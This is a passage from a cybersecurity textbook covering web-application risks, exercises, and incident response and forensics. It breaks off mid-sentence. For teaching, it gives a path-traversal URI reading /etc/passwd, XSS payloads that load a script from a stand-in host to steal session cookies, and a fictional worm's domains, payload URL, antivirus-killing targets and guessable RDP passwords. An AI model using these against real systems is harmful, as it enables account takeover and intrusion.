the server sends the cookies with names respectively Client, Item and Delivery,
to the client, and the client uses these in subsequent requests to the server.
The use of cookies is not completely risk free: Cookies are stored on the client, so
the user can possibly modify them in order to achieve unauthorised access to another
person’s account, increase his own privileges (for example so that the cookie gives
administrator privileges) or change significant information in a transaction, such as
the price. Long-lived (“persistent”) cookies are stored as text on the client’s disk.
312 10 Software security

From there an attacker might be able to steal them so as to perform a transaction as

another user. Cookies in plaintext can be sniffed when they are transmitted via the
net, so if they contain confidential (especially personal) information they should have
the Secure attribute set to ensure that they are sent via an encrypted connection.
Many websites make use of images, displays and advertising material from servers
in external domains, and these servers may also send so-called third-party cookies to
be stored on the client, even though they are not directly connected with the client’s
activities. By collecting these cookies up, the external parties can form a profile of
the user’s interests—a simple form of spyware, which we discuss in more detail in
Chap. 12.

10.5.3 SessionIDs

A SessionID is a set of authentication data which is stored on the server and used
to check that subsequent requests from the client are part of the same transaction. A
simple example:
• The user starts a web application. The client sends the first HTTP request (typically
without a SessionID).
• The server asks for the user’s userid and password.
• The client sends the user’s userid and password to the server.
• The server sends the client a SessionID for the transaction.
• Each subsequent request from the client includes this SessionID, so the server
can check that the request belongs to a valid transaction.
SessionIDs can be transferred in three different ways:
1. The SessionID can be part of a query in the URI which the client uses:
http://www.wshop.dk/bigbuy?sessionID=13EDFA256
2. The SessionID is placed in a hidden field in a webform, as in Fig. 10.16.
3. The SessionID is sent in a cookie!

<FORM METHOD=POST ACTION="/cgi-bin/login.pl">

<INPUT TYPE="HIDDEN" NAME="sessionID" VALUE="13EDFA256">
<INPUT TYPE="hidden" NAME="allowed" VALUE="true">
<INPUT TYPE="submit" NAME="LogIn">

Fig. 10.16 A SessionID is sent in a hidden field in a webform

Just like with cookies, the use of SessionIDs is not entirely free of risks. As
SessionIDs are generated on the server, they are indeed considered to be more secure
than cookies, but an attacker can perhaps collect several SessionIDs, in order to see
whether he can discover the systematic way in which they are generated. The attacker
can collect the SessionIDs on the client or by sniffing traffic on the net. To ensure
10.5 HTTP-based Applications 313

that transport of SessionIDs through the network is secure, the traffic (just like for
cookies) should be encrypted, typically by using SSL/TLS, as discussed in Chap. 8.

10.5.4 Webforms

While cookies and SessionIDs are typically used to build up information about a
transaction step by step, webforms make it possible to provide all the information
in a single step, after which the collected information is sent on to the application
which is to process the transaction. A webform is basically just part of an HTML
document which, in addition to ordinary HTML content such as text and markup
instructions, contains so-called controls such as check boxes, open text fields, radio
buttons, menus and so on, which the user can select or fill in before the form is sent
for processing.
An example of a webform in HTML is shown in Fig. 10.17. When this webform is
presented to the user in a browser, it will typically (the details depend on the browser)
appear as shown in Fig. 10.18. As can be seen in Fig. 10.17, the webform contains
four INPUT elements of the type text. In each of these elements the user can type
in a line of text. There are also two BUTTON elements, which the user can click on.
One of these is of the type submit and is used to send the form off for processing;
the other is of the type reset and is used as a cancel button which re-initialises the
form, so all its fields have the same content as they had initially.

<FORM action="http://newvinoveritas.dk/prog/newcustomer"
method="post">
<P align="center">
<I>In Vino Veritas</I><BR>
Customer details
</P>
<P>
First name: <INPUT type="text" name="firstname"><BR>
Last name: <INPUT type="text" name="lastname"><BR>
Post code: <INPUT type="text" name="postcode"><BR>
e-mail: <INPUT type="text" name="email"><BR>
<BUTTON name="submit" value="submit" type="submit">
Submit></BUTTON>
<BUTTON name="reset" type="reset">Cancel</BUTTON>
</P>
</FORM>

Fig. 10.17 A simple webform into which new customers can type information about themselves
314 10 Software security

Fig. 10.18 A typical presen-

tation of the webform from In vino veritas
Customer details
Fig. 10.17
First name
Last name
Post code

e-mail

Submit Cancel

In addition to elements for input of text and for submit and reset buttons, an
HTML webform can contain elements which work as:
• Radio buttons: These are described by INPUT elements of type radio. There can
be several radio buttons with the same name, but they are mutually exclusive—i.e.
you can only select one of them at a time. For example:
<INPUT type="radio" name="sex" value="Male">Male<BR>
<INPUT type="radio" name="sex" value="Female">Female<BR>
<INPUT type="radio" name="sex" value="Nonbin">Nonbin<BR>

Here there are three radio buttons with the name "sex", but it is only possible
for the user to choose one of the three possibilities.
• Checkboxes: These are described by INPUT elements of type checkbox. There
can be several checkboxes with the same name. This makes it possible to select
several values for the same property. For example:
<INPUT type="checkbox" name="colour" value="White">White<BR>
<INPUT type="checkbox" name="colour" value="Brown">Brown<BR>
<INPUT type="checkbox" name="colour" value="Black">Black<BR>
<INPUT type="checkbox" name="colour" value="Yellow">Yellow<BR>

Here there are four checkboxes with the name "colour" and the user can choose
1, 2, 3 or 4 of them.
• Passwords: These are described by INPUT elements of type password. This
element resembles an element of the type text, But in the presentation the
characters which the user types in must be “blinded”.
• Files: These are described by INPUT elements of type file. This makes it
possible to send files together with the webform.
• Hidden fields: These are described by INPUT elements of type hidden. An
example can be seen in Fig. 10.16 above.
• Menus: These are described by SELECT elements with a number of selectable
possibilities (“OPTIONS”).
• Multiline text fields: These are described by TEXTAREA elements with a given
number of lines of a given length.
When the user clicks on the submit button in the webform, the form’s contents
are converted into a form dataset, where the selected elements in the form are given
by name=value pairs. If for example a form contains an element:
10.5 HTTP-based Applications 315

Fig. 10.19 An example

of a filled webform from In vino veritas
Customer details
Fig. 10.17, as it is shown in
the user’s browser First name Alfred

Last name Forgetful

Post code 9200

e-mail [email protected]

Submit Cancel

<INPUT type="text" name="firstname">

where the text typed in is Alfred, then the pair firstname=Alfred is produced. It is
standard procedure to produce the entire form dataset by placing the individual pairs
after one another in the same order as the elements of the form, with an ampersand
(&) as a separator between successive pairs. So if the webform from Fig. 10.17 is
filled in as shown in Fig. 10.19, then the form dataset will be:
firstname=Alfred&lastname=Forgetful&postcode=9200
&[email protected]&submit=submit

The form dataset is then usually sent in an HTTP request to the URI specified in
the action field in the head of the form. Exactly how this is done depends on which
HTTP method is specified in the method field in the head of the form:
• GET: An extended URI is formed, consisting of the action URI, followed by
a question mark, followed by the form dataset. The request is then sent to this
extended URI using the GET method.
• POST: The form dataset is put into the body of the request and the request is sent
to the action URI.
It is a convention that webforms which do not change anything on the web server 1,
typically because they just cause a lookup in a database or similar, are sent by using
GET, whereas POST is used if the webform leads to changes in the data stored on
the server.
Just as in the case of cookies, there are some risks associated with the use of
webforms. A webform will often contain personal or other confidential data such
as passwords, account numbers or perhaps even personal identity numbers such as
social security numbers or the like. Nor is it always a good idea to let the whole
world see what you order from a webshop or download from a streaming service. So
webforms should in the large majority of cases be sent via an encrypted connection
to the server which is to process them. In practice this means that it is HTTPS and
not HTTP which is used. In this context it is important to be aware that even INPUT
fields of types hidden and password, which are not presented in plaintext in the
user’s browser, appear in plaintext in the form dataset, and can therefore easily be
read by an attacker if the connection is not encrypted.
1 the technical phrase is that they have no side effects on the server
316 10 Software security

10.5.5 Mobile code

Mobile code is code which can be moved between systems. This includes in particular
code which can be transferred from a server for execution on a client. Mobile code is
typically accessed as an element in a web page, when the web page is fetched from
the server. Common examples include:
• ActiveX controls: Are executed by a browser on the client, after being fetched
from the server which houses them.
• Java applets: Are executed in a Java Virtual Machine (JVM) on the client, after
they have been fetched from the server which houses them.
As the code in both cases is executed on the client, this needs to be certain that the
code will not do anything unpleasant. Some of the steps taken in an attempt to make
the use of mobile code more secure are described below. However, experience show
that this is still an area in which hidden vulnerabilities regularly appear.

10.5.5.1 Security with Java Applets

When Java applets are used, security is based on a so-called sandbox model: The
applet is executed in a very restrictive environment (in a JVM) with three important
components:
• Security Manager: controls access to resources in accordance with an explicit
security policy which relates resources to the corresponding permissions.
• Byte Code Verifier: checks code before it can be executed, in order to ensure
that it fulfils certain quality requirements, for example:
– No stack overflow
– No illegal type conversions
– No illegal references to other Java classes.
• Class Loaders: fetch class files and check that they are mutually consistent and
do not disobey Java’s rules.
Because of the obvious risks associated with the use of applets, most clients nowadays
will also check where the applet comes from. Applets which are not provided with
a valid electronic signature from their source cannot be allowed to access the local
file system or web pages outside the web site from which the applet comes. Many
clients (i.e. browsers) will completely reject such unsigned applets—and possibly
also applets which are self-signed, i.e. where the signature is based on a self-signed
certificate, where, as discussed in Sect. 5.5, there is no chain of trust back to a
recognised root certificate.
Even if they are known as “Java applets”, they do not in fact need to be developed
in the programming language Java. A JVM is really just a program which interprets
instructions in Java bytecode instead of instructions which the computer’s CPU can
execute directly. This means that the applet can be written in any programming
10.5 HTTP-based Applications 317

language, as long as this language can be translated into bytecode, just as we have
seen in Sect. 9.4.4 with the so-called native code in Android. Popular alternatives
include Python, Ruby, Pascal and Eiffel.

10.5.5.2 Security with ActiveX

When ActiveX is used, security is based on a so-called Authenticode model:

• Code must be signed digitally by the developer (which must have a certificate
from an approved CA).
It is important to notice that this gives a guarantee for the origin of the code, not its
quality—so you should only feel secure if you also have confidence in the developer.
Worse still, ActiveX controls can be marked safe-for-scripting, so that Authenticode
is put out of action and the ActiveX object has free hands to do what it likes.

10.5.5.3 Security Zones

Because of the obvious dangers with mobile code and invasive malware, some web
browsers operate with a number of security zones which can be trusted to different
degrees.
An example from Internet Explorer, in order of increasing trust:
• Internet zone
• Local intranet zone
• Trusted sites
• Restricted sites
For each zone, it is possible to give sets of rules for which forms of mobile code can
be accepted.

10.5.6 Web Server Vulnerabilities

Although client-side scripting using techniques such as Java applets or ActiveX has
led to many security vulnerabilities, it is important to remember that web servers
themselves may contain vulnerabilities of various types. These may be built-in
software flaws in the server or may be due to unsuitable configuration. For example,
an unsuitably configured server may allow “catalog jumping” in a URI:
• In an Apache-based web server, the path to a resource in a URI is by default given
relative to the “root catalog”:
/usr/local/apache2/htdocs
• Thus for example URI http://www.vic.dk/images will give access to the file at
/usr/local/apache2/htdocs/images.
318 10 Software security

• The URI http://www.vic.dk/images/../../../../etc/passwd would then give

access to the file /etc/passwd, as each /.. refers to the folder one level higher up
in the catalog hierarchy.
Luckily, newer versions of Apache do not allow /.. to appear in a URI. And a better
configuration would not set the browser up to use the default root catalog.
Other well-known operational factors which increase risk are:
• The web server is executed with administrator/root privileges.
• Example scripts and installation files can be found and exploited.
• Error messages reveal details of the web configuration.
• Facilities for extending the server’s functionality, such as plugins, extensions or
other add-ons, may introduce vulnerabilities, even though the basic server is
flaw-free.
A specially sensitive area is the server’s setup, if it offers access via HTTPS or other
protocols which are secured by using SSL/TLS. To achieve a high level of security,
it is essential that the server only uses the most secure versions of TLS—that is
to say at least TLSv1.2 and preferably TLSv1.3, if it is available. As the choice of
cryptoalgorithms and other parameters depends on a negotiation between server and
client, some servers will permit use of older and less secure versions than these,
if this is necessary in order to satisfy weak clients. This is a bad idea, as it can
compromise both confidentiality and integrity of data which is to be transmitted.
Luckily, many modern web browsers (i.e. clients) can be configured so that they
will refuse to accept connections to HTTPS servers which do not support the latest
versions of TLS; this trend noticeably improves security.

10.5.6.1 XSS: Cross-site Scripting

Cross-site scripting (abbreviated XSS) is a phenomenon which is seen when mali-

cious users leave harmful code in the form of scripts on otherwise trustworthy sites,
where others can access (and execute) them. XSS, which is really yet another form
of software injection, is regarded as one of the most serious causes of leakages of
user and other information from sensitive web sites.
The attack typically relies on the web site allowing user input to be displayed as
web output. Web sites which offer fora or messageboard functionality are therefore
particularly exposed. A simple example is as follows:
• A malicious user, Mallory, leaves a question on a web site which hosts a forum
on tortoises:
Can’t Russian tortoises tolerate spinach? Mine has started
to behave oddly after a couple of meals containing spinach.
<script>src="http://malpense.net/authtyv.js"</script>

• An innocent user, Alice, who later visits this forum and reads Mallory’s query,
will also get to execute Mallory’s JavaScript script, which is fetched from http:
//malpense.net, and which will steal Alice’s authentication cookie for the forum
and send it to Mallory.
10.5 HTTP-based Applications 319

• Mallory can then take over Alice’s session on the forum and behave as though he
were Alice.
The attack depends on innocent users believing that this forum has been set up on a
trustworthy web site, so they allow this malicious script to be executed. The forum’s
administrator could easily prevent attacks of this type by filtering the user’s input, so
as to remove any scripts in contributions which are typed in on the forum.
Another popular technique for performing an XSS attack is to embed a (malicious)
script in a query in a URI. Let us assume that it is possible to search the forum
for contributions which deal with Russian tortoises, by formulating a URI http://
worldtortoises.org?q=russian. Then you get a list with links to all the contributions
which mention “russian”. Then Mallory can try to attack as follows:
• Mallory constructs a URI with a query:
http://worldtortoises.org?q=russian<script%20
src="http://malpense.net/authtyv.js">

• Mallory sends out a mail to a number of users of the forum, with a text in the
style Hi, just check out these Russians! and the constructed URI.
• An innocent user, Alice, receives the mail. She is interested in Russian tortoises
and clicks on the link. Mallory’s script is fetched from http://malpense.net and
executed. As before, it steals Alice’s authentication cookie for the forum and sends
it to Mallory.
• Mallory can then take over Alice’s session on the forum and behave as though he
were Alice.
In recent years, a number of useful products have appeared which can protect
against XSS by preventing execution of scripts on web pages which a user visits,
until the user explicitly allows it. Internet Explorer’s Security Zones and Opera’s
Site Specific Preferences can be configured to selectively forbid execution of scripts
from particular domains. In Firefox and related browsers, the open source product
NoScript, which is installed as an “add-on” to the browser, makes it possible to enable
or disable scripts on a given web page individually. In that way, scripts which are
essential for the web site’s correct operation can be permitted, while all others – such
as irrelevant or possibly malicious scripts—are forbidden. A similar functionality is
offered by ScriptSafe for Google Chrome, JavaScript Blocker for Safari, 𝜇Matrix for
Opera and Trust Setter for Internet Explorer.

10.5.6.2 Dynamic Generation of Content

For complex web applications, it is often an advantage if the web page’s content can
be generated dynamically on the server, typically as a reaction to user input on the
client, or based on data fetched from a database or other source. Many web servers
make use of a Content Management System (CMS) to facilitate maintenance of their
web pages, and often the CMS can be configured by plugins to offer this sort of
special functionality.
320 10 Software security

There are a number of technologies used for this purpose; well-known examples
are PHP, ASP.NET and Java servlets, which all make it possible to develop software
components which will be executed on the server, typically in a protected environ-
ment. For example, Java servlets are small Java programs, which are translated into
Java bytecode that is executed in a JVM on the server (just like applets are executed
on the client). This makes it possible to add new functionality to the server in a
simple and efficient way.
Use of technologies for dynamically generating web content is not risk-free. As
this is a question of software which is executed on the web server itself, any errors in a
component will impact the server’s basic functionality. In many cases the component
is used to take over some of the load from central parts of the application, for example
to access a database. It will then typically be the component’s task to check input
from the client, in order to prevent SQL injection. Another common way of using
these components is for authentication of the client’s user and for checking that this
user has authorisation to use the application’s data and software components. In all
these cases the component plays a critical role with respect to maintaining the desired
level of security. It is clear that development of components for dynamic generation
of content must be carried out with great care.

10.6 Targets for Software Security

The main aim is to produce trustworthy programs—that is to say, programs whose

code has been stringently developed and analysed. Such programs should have the
properties shown in Requirements 10.1.

Requirements 10.1 (Properties of trustworthy programs)

A trustworthy program must have the properties:
1. Functional correctness: The program does what it is supposed to do.
2. Securing integrity: The program is robust, even if it is exposed to incorrect
commands or data.
3. Limited privileges: Access to secure data is kept to a minimum and rights are
not transferred to programs or users which you do not trust.
4. A suitable level of evaluation: The program has been evaluated and awarded a
trust grading which matches the data and the environment which the program will
be exposed to. A military system, which is under constant attack, or a life-critical
system naturally require a higher level of trust than a simple app for a mobile
telephone.

For those who will use the product, the big question is how they can get to trust that
these requirements have been met. In simple cases, it is very common to base one’s
evaluation on general trust in the producer of the software. To be certain that this
trust is not based on false assumptions, it is common for software products to be
provided with a valid electronic signature, as for example in Microsoft’s Authenticode
10.6 Targets for Software Security 321

discussed in Sect. 10.5.5.2 above, or that the product has been fetched from a secure
web server by using HTTPS, where the server’s certificate guarantees that the server
really does belong to the assumed producer.
An electronic signature or a secure server in reality only gives you some confi-
dence that the product comes from a particular producer and has not been modified
since it was signed. This is hardly enough to create the necessary trust in more
critical situations, and in such cases the product must go through a well-documented
evaluation procedure. In security-critical systems, it is nowadays common to base
the evaluation on the Common Criteria (CC), as previously described for OSs for
systems with strict security requirements. Depending on how strict the requirements
are, you can under CC go for products which have a suitable Evaluation Assurance
Level (EAL). That the product has been evaluated to a high EAL should give greater
confidence in claims that the product lives up to the security requirements set for it.

Useful concepts which you should now know about

In this chapter, the following concepts were introduced:

• Buffer overflow
• Stack overflow
• Incomplete mediation
• TOCTTOU flaw
• Pentest
• Fuzztest
• Static analysis (of program text)
• Dynamic analysis (of program behaviour)
• Malware
• A virus
• A worm
• A backdoor
• Spyware
• Ransomware
• An antivirus (AV) system
• Signature based malware detection
• Behaviour based malware detection
• Misuse detection
• Anomaly detection
• SQL injection
• LDAP injection
• HTTP Basic Authentication
• HTTP Digest Authentication
• An HTTP cookie
• A SessionID
• A webform
322 10 Software security

• Mobile code
• An ActiveX control
• An applet
• Cross-site scripting (XSS)
You should check that you understand their definitions and can give examples of
contexts where they play a role.

Further Reading

David A. Wheeler has published a very useful practical guide to what to do in order
to develop secure software: “Secure Programming HOWTO”. It is available free of
charge as a web publication [97] and is updated at regular intervals.
A general review and evaluation of a long series of tools for evaluating software
security was produced in 2009 by the consultancy Booz Allan Hamilton on behalf
of the US Navy [12]. An important part of the evaluation was a description of which
competencies people should have in order to make use of the different tools. This is a
very important aspect of the use of these often very advanced tools, as inexpert users
can manage to do more harm than good. As a clever man (probably Grady Booch, a
leading software engineer with IBM) once said: “A Fool with a Tool is still a Fool”.
A number of organisations produce regular reports on trends in malware, software
vulnerabilities and the like. Some of these form part of a general report about data
breaches observed during the year, such as the previously mentioned “2021 Data
Breach Investigations Report” from Verizon [93]. Others are more specialised. A
particular effort goes into analysing software vulnerabilities in web applications,
where there are many forms of attack, of which we have only discussed a small
number in this chapter. The non-commercial organisation OWASP (Open Web Ap-
plication Security Project) produces a report covering this area from time to time,
in addition to offering testing tools and publishing much other information on web
security. The latest version of the report is currently from 2021 [70].

Exercises

10.1 Basic authentication i HTTP

In the basic form of authentication in HTTP described in Sect. 10.5.1, a base64
encoding of the user’s userid and password, separated by a colon (:), is sent as
authentication data from the client to the server. In the text, the claim is made that it
is easy to convert the encoded value back to its plaintext form.
Figure 10.11 shows an example, where the base64 encoding of the userid and
password is:
dGJvbmVzOkFscGgwMm5VbT8=.
What are the userid and password?
Exercises 323

10.2 A myth about the Internet? (1)

In a survey carried out in 2009, a group of ordinary IT users were asked whether they
believed that they could by accident download a harmful program just by accessing
a web page without clicking on any links on the page. About 64% of the respondents
answered “Yes” and about 27% answered “No” (the remaining 9% answered “Don’t
know”). How would you answer the question, now that you have read this chapter?
Give reasons for your answer. If, for example, you answer “yes”, you should give
one or more examples of how this accidental download can take place; if you answer
“no”, you should explain why it cannot take place.

10.3 A myth about the Internet? (2)

In the same survey as was mentioned in Exercise 10.2, the respondents were asked
to say whether they thought that a virus scanner could catch particular types of
undesirable mail. About 39% thought that a virus scanner would always be able to
catch mail in which an attached document contained a program which could get your
computer to break down, while about 50% thought it would sometimes be able to
catch such mails, and about 5%, that it would never be able to catch such mails.
On the other hand, about 30% thought that it would always be able to catch a mail
containing a link to a webpage which would install a harmful program on the user’s
computer without requiring any action from the user, while about 36% thought that
it would sometimes catch this type of mail and about 26% that it would never do so.
Discuss these results. Do they give a realistic picture of what a virus scanner in
practice can do?

10.4 Detection of rootkits

In Chap. 9 it was stated that the first generation of rootkits could easily be detected,
as they simply modify some standard programs which are normally found on the
attacked system. Tools such as Tripwire, which calculate cryptographic checksums
for important software components in the system, can easily detect these changes.
Many newer types of rootkit rely instead on introducing completely new software
components, either as modules for the operating system or as new contents for the
boot sector on the disk, which is used during system startup. These hiding places
are not normally checked by apps for detecting rootkits. Is it possible instead to use
techniques such as static program analysis to detect whether incoming traffic from
the net contains program code which writes in these areas? If you believe that static
analysis can be used, can you find practical examples of tools which (at least on an
experimental basis) can be used for rootkit detection? If you do not believe that static
analysis can be used, you should explain why.

10.5 0-day attacks

Many of the most spectacular cyberattacks in recent years have been so-called 0-day
(“zero-day”) attacks —that is to say attacks which exploit vulnerabilities which have
not previously been publicly known. Which mechanisms presented in this chapter
would you use to detect a backdoor which had been installed with the help of an
attack of this type? Give reasons for your choice.
324 10 Software security

10.6 The BlottoX worm

A new type of malware, known as BlottoX, is a worm which attacks computers
running Windows operating systems. It propagates itself by exploiting the Remote
Desktop Protocol (RDP). It may download further malicious software, which acts as
a backdoor to the infected computer.
When the worm arrives at an uninfected computer and is executed, it first copies
itself to the file cache.txt in the Windows folder which is used for storing offline
web pages. It then copies the standard file sens.dll in Windows’ system folder to
a new file, Sens32.dll, in the same folder and stores a copy of itself in sens.dll.
BlottoX then searches to find DNS records for three domains which the attackers
themselves have registered:
ms.jifr.co.be
ms.jifr.co.cc
ss.jifr.net
Some of these records can be DNS TXT records that contain information about
backdoors which the worm can download. All such backdoors are fetched by using
FTP from the URI errormail.tonzobark.ru/160.rar. The worm will then inject
itself into the generic Windows service svchost.exe, so it will be executed if a
process based on this service is started. It then deletes the file which contains the
original copy of the worm code.
Next, BlottoX attempts to terminate the execution of all processes which contain
text strings (such as avguard, FortiScand, mcshield, SpySweeper etc.), which
apparently identify them as being security products such as antivirus or antispyware
programs.
Finally the worm tries to propagate itself to other computers in the local network
by using RDP. It opens TCP connections to the standard port 3389 on each of these
computers and tries a large number of simple userid/password combinations—for
example, with userids such as administrator, admin, test, user and guest, and
passwords such as 1, 1234, 111111, password, %u%, 1q2w3e, secret and other
combinations which are easy to guess. If it succeeds in setting up an RDP connection
to another computer, the worm transfers itself to that computer.
Imagine you are the person responsible for cybersecurity in the company Target
Llc. The company has installed a behavioural HIDS based on anomaly detection in
each computer in its network. Would you expect that this IDS could detect some
(or all?) of the activities which are set going by the BlottoX worm? Explain your
answer—for example by giving conditions for being able to detect the individual
activities or arguments for why it would not be possible.

10.7 TOCTTOU flaws

In this chapter it is claimed that there are many types of TOCTTOU flaw which can
threaten the security of an IT system. Two examples are given: (1) Access to files
in Unix systems and (2) Authentication, which is often performed long before the
result is used. Can you find other examples? There are at least two which you can
find by careful reading of this book—and even more, if you search on the Internet.
Chapter 11
Incident Handling and System Availability

Nobody is perfect—and nor are systems for protecting against cybersecurity threats.
So it is necessary not only to take steps to protect your computer systems, but also to
plan a suitable reaction, if things should go wrong. There are three elements in this:
1. Ensuring that all security breaches, both large and small, are registered, so suitable
action can be taken.
2. Planning how to discover what has happened, if a security breach is detected.
3. Planning how to restore the systems to their normal state, so that daily operations
can be continued.
The first two elements cover the immediate reaction, when a so-called security
incident takes place, and they are often together known as the Incident Response.
The third element will in practice normally lead to the production of plans for
restarting operations after incidents of varying degrees of seriousness—from the
trivial, where it is only necessary to restore a single file from a backup copy, to
the extremely serious, where large parts of an organisation’s computer systems have
been rendered unusable by an extensive cyberattack or a violent physical disaster,
with the result that the organisation’s primary activities cannot be performed for a
significant period of time.

11.1 Reacting to Security Incidents

It is important to decide how to react when an IT security incident is detected. In

practice the reaction will depend on how you have discovered that something which
seems to be in conflict with the security policy has taken place. There are really
many ways in which this may happen, including:

© The Author(s), under exclusive license to Springer Nature Switzerland AG 2024 325
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3_11
326 11 Incident Handling and System Availability

• An automatic alarm from an IDS or similar monitoring unit goes off;

• An unusual situation is discovered during the IT personnel’s regular inspection
of log files;
• One or more users report that something is not as it should be;
• An external party complains that they are experiencing an attack or receiving
spammail or the like from your system;
• An obvious disaster takes place—a fire, a hurricane, flooding or a violent cyber-
attack on critical resources such as webservers or central databases.

11.1.1 Incident Reporting

Alarms which are automatically set off by monitoring units such as IDSs and firewalls
will in a well-administered IT system reveal many attacks, both from internal and
external attackers. But sneaky attacks which “fly beneath the radar” can be carried
out without setting off the alarm and are in many cases first discovered by the IT
system’s users or IT personnel, who notice that something is wrong: confidential
data have been disclosed, data have disappeared or have been modified, or some
system functions have become unavailable.
It will therefore often be an element in the company’s or organisation’s IT security
policy that both the IT personnel and the ordinary users have a duty to report all
suspicious events to the person or persons who are responsible for IT security. An
example of a formulation of this duty (for the entirely fictive organisation “NNNN”)
can be seen in Fig. 11.1.
The Security Officer will typically decide what is to be done – in the first instance
an investigation of what actually happened and the extent of any damage. The
investigation should also result in a description of what has been done to clear up the
situation, together with any proposals for how to avoid such situations in the future,
including new instructions to the staff.
It is a good practice to send the result of the investigation in an easily understand-
able language back to the user who reported the incident. This creates confidence
in the system and shows that you take the reports seriously! But if the case looks
serious, the result should also be sent to the management of the organisation, who in
accordance with modern practice (described in ISO/IEC Standard 27001) have the
overall responsibility for IT security. The management then have to decide whether
the matter should have further consequences, such as a change of practice, disci-
plinary action with respect to some employees or even reporting the matter to the
police as a crime.
Investigations unfortunately often show that the duty to report undesirable events
is not always respected! This is a matter which should get the management to take
serious action.
11.1 Reacting to Security Incidents 327

Duty to report suspicious events

Everybody who uses NNNN’s IT systems must report situations which are suspected of having
a connection to IT security breaches of any type. For example:
• Disclosure of confidential data to unauthorised persons.
• Loss of data, which cannot be recovered from a backup copy.
• Unauthorised changes to data or programs which are stored in the systems.
• Unauthorised storage of data or programs in the systems.
• Theft of equipment, including datamedia.
• Lack of availability of IT services
• Unauthorised activities in the network or in individual systems (e.g. caused by a virus,
worm, external "hacker attack" or similar).
• Physical security breaches, both due to natural causes (e.g. storms, heat, flooding) and
caused by humans (e.g. fire, break-ins, terrorism, vandalism).
To report such a situation, use the form “Report of a possible IT security incident”, which is to
be filled in as soon as possible after the situation has been detected with a description of what
has happened.
The form can be found on the organisation’s intranet at:
https://www.nnnn.com/cybersec/report.pdf
and can be filled in online. The completed form is to be sent to the Information Security Officer
at e-mail: [email protected].

Fig. 11.1 The duty to report possible security incidents

11.1.2 Investigation of Security Incidents

Investigation of security incidents is a special discipline, which in many ways resem-

bles a police investigation in criminal cases: You have a suspicion of a possible crime
and try to collect evidence which can reveal what has happened and (if possible)
who lies behind it. This discipline is generally known as Computer Forensics, by
analogy with other forms of collection of criminal evidence and finding chains of
causes and consequences.
Incidents such as break-ins, theft, vandalism and natural disasters have very little
to do with cybersecurity and they are investigated in the usual way. But incidents
such as loss of availability, hacker attacks, virus attacks or unwanted disclosure, loss
or modification of data as a rule require the computers which have been affected to be
investigated. As it is important not to lose important evidence, this investigation must
be carried out according to some special rules—the material may have to be used in
a subsequent court case and must therefore be collected, analysed and stored with
great care. A typical set of principles (from the British police) for “good practice”
can be seen in [100].
The investigators need a true picture of:
1. The affected system’s state—that is to say the content of all parts of the computer
where data can be stored: the memory, disks, other external media, the CPU
registers etc.
2. If possible, some of the system’s recent history; this normally comes from log
files, where significant events are noted down in their order of occurrence.
328 11 Incident Handling and System Availability

In modern computers this is not entirely simple, as important parts of the system’s
state are volatile and will therefore normally be lost in the course of a very short
time—typically a few seconds—if the system is turned off or the investigators do
something inappropriate. The volatile parts include:
• The computer’s physical memory;
• Areas used as caches for data on their way to or from the computer’s disks;
• The CPU’s registers and caches.
A normal shutdown of the computer will change the content of the disk, as the content
of caches and disk buffers get copied to the disk during the shutdown process. On
the other hand, if you just turn off the computer by pulling out the power plug or
removing the battery, the disk contents will be unaltered, but all the volatile data
will be lost, unless special steps are taken to extend their lifetime. It is in fact often
possible to preserve the volatile data for a longer time by cooling the memory before
turning off the machine. At a temperature of -70C, data can be retained for several
hours without loss [41], but cooling requires special equipment and can therefore
not always be applied in practice “out in the field”. When the computer is restarted,
further data will as a rule also disappear, as areas of the disk which before the
shutdown were used to hold pages of the virtual memory which were not currently in
use will be deleted. If possible it is therefore most often best just to let the machine
continue to operate.
There are two slightly different scenarios in which a digital forensic task may
need to be performed:
1. The computer to be investigated is your own or your company’s, so it is possible
to get all the necessary credentials and any decryption keys needed to get access
to the machine—both as an ordinary user and as an administrator with elevated
privileges. This will be the typical situation if it is a computer which has been
exposed to a cyberattack from outside.
2. The computer to be investigated is suspected of having been used by criminals
to commit a digital crime. This is the situation when the computer is used by
the attacking party, and it is the police or other authorities who are to investigate
the case. The computer’s owner may in this scenario not be particularly willing
to cooperate. Maybe he or she has left the country? The investigator must then
start by finding out how to get access to the computer’s data without knowing the
necessary credentials, decryption keys and so on beforehand.
We start by looking at the first of these scenarios, which is plainly the easiest to deal
with.
In general, the investigators must do two things:
1. Disconnect the computer from the network, so its state cannot be affected from
outside. In a cable-based network, you can just pull out the network plug. In
a wireless network, you can prevent the computer from having access via the
network’s access points, turn off the the computer’s wireless mechanism if you
11.1 Reacting to Security Incidents 329

have rights to do this, or if necessary move the computer into a Faraday cage—
that is to say, a room or smaller container (a Faraday bag) which radio waves
cannot get into—if you have access to such a thing.
2. Take a copy of the contents of the computer’s disk (or disks) and as much as
possible of the volatile parts of the state (if they have not already disappeared),
without changing it.
Copying the state is not necessarily a small task: the large majority of PCs, tablets,
workstations and mainframe computers are connected to networks and can therefore
have access to disks which do not lie physically inside or just next to the computer
being investigated. Part of the investigator’s task can therefore be to find out which
disks have actually been mounted, so that they have been accessible from the com-
puter to be investigated. A table in the operating system contains information about
the current status. Most modern operating systems also record in a log file when
disks are mounted and unmounted. So the investigator can if necessary see whether
further disks have been in use in the period just before the incident was detected.
It is important to realise that it is not enough just to copy the files from the disk
one by one to a new non-volatile medium such as an external disk or USB key. This
is due to two phenomena:
1. Except in specially secured operating systems, deletion of a file will not result in
deletion of the file’s data content, but only that the file will be marked as deleted
in the file catalog. The areas on the disk where the file’s contents are stored are
first overwritten when they need to be re-used for new files. Data from the deleted
files may contain information which is useful for the investigation. But as the files
have been deleted, they will not be included in a file-by-file copy.
2. There may also be areas on the disk which do not contain ordinary files, but
contain data for administrative purposes, such as so-called Master Boot Records
for use during system startup. These may also have been altered as part of an
attack.
Instead of a file-by-file copy, it is therefore necessary to create a so-called bit-by-bit
copy of the whole disk.
This task is as a rule very easy in systems based on a virtual machine (VM), since
in most VM systems it is possible to take a snapshot of the machine’s state. In other
system types you need to copy from a physical disk to another medium. Luckily
there are a large number of utility programs for different operating systems which
can be used to make bit-by-bit copies of the disks and/or the memory. For example:
• dd: Can be used in Unix-based systems for copying the disks and in Windows for
